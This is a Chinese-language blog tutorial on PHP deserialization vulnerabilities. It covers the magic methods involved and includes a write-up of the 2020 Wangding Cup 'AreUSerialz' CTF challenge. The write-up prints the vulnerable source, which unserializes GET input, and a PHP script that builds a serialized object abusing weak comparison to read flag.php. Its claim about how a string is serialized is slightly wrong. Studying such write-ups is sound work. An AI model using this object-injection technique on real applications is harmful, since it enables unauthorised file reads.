type
status
date
slug
summary
tags
category
icon
password
0x00 漏洞形成原理
序列化就是将对象转为字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的传输的保存,也可以让多个文件共享对象。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
例:java,php,js,c-----序列化后-------二进制,XML,json
0x01 PHP反序列化漏洞分类
1)无类:不存在魔术方法函数
2)有类:有类涉及到反序列化漏洞最重要的知识点,‘有类’类型的反序列化存在魔术方法,
所谓魔术方法,便是一些指定的函数,当对象满足魔术函数的要求,便会触发魔术函数,输出函数指定的对象,这类魔术方法函数的集合,简单来讲便形成一个类,无类则不存在魔术函数,直接将对象虚序列化或者反序列化。
0x02 序列化实例讲解
1)序列化首先需要提及两个函数,
serialize:将对象序列化输出
unserialize:将对象反序列化还原输出
2)序列化函数理解
string类型’123‘序列化为i:3:'123'
int类型123序列化:i:123
3)有类反序列化代码演示
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
对应输出参考下列魔术函数
被新建调用,被执行调用,被结束调用.............被调用则触发魔术方法
理解php反序列化构造命令执行:
0x03 魔术方法函数参考
函数举例:
construct()//创建对象时触发
destruct() //对象被销毁时触发
call() //在对象上下文中调用不可访问的方法时触发
callStatic() //在静态上下文中调用不可访问的方法时触发
get() //用于从不可访问的属性读取数据
set() //用于将数据写入不可访问的属性
isset() //在不可访问的属性上调用isset()或empty()触发
unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
0x04 网鼎杯-2020-青龙组-AreUSerialz反序列化真题
解题思路:
1.确认储存flag
2.两个魔术方法
3.对象绕过
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
两个魔法函数
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
flag储存在目的便是读取他
突破点:需要让op值为2则触发读取获取flag
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数对$this->op进行了===判断如果内容在2字符串时会赋值为1, process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字2或字符串’空格+2‘绕过判断。
=== 验证数值 类型 == 验证数值 弱类型检测 则可以写入’ 2‘绕过类型检测
<?php
class FileHandler{
public $op=' 2';//源码告诉我们op为1时候是执行写入为2时执行读
public $filename="flag.php";//文件开头调用的是flag.php
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
payload:
构造传参,获取flag
PHP反序列化相对于其他漏洞,要深入学习,对新手小白还是存在一定的难度。
- 作者:告白
- 链接:https://www.gbsec.top/article/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E5%88%B0%E4%B8%8A%E6%89%8B-%E7%BD%91%E9%BC%8E%E6%9D%AF-AreUSerialz
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
相关文章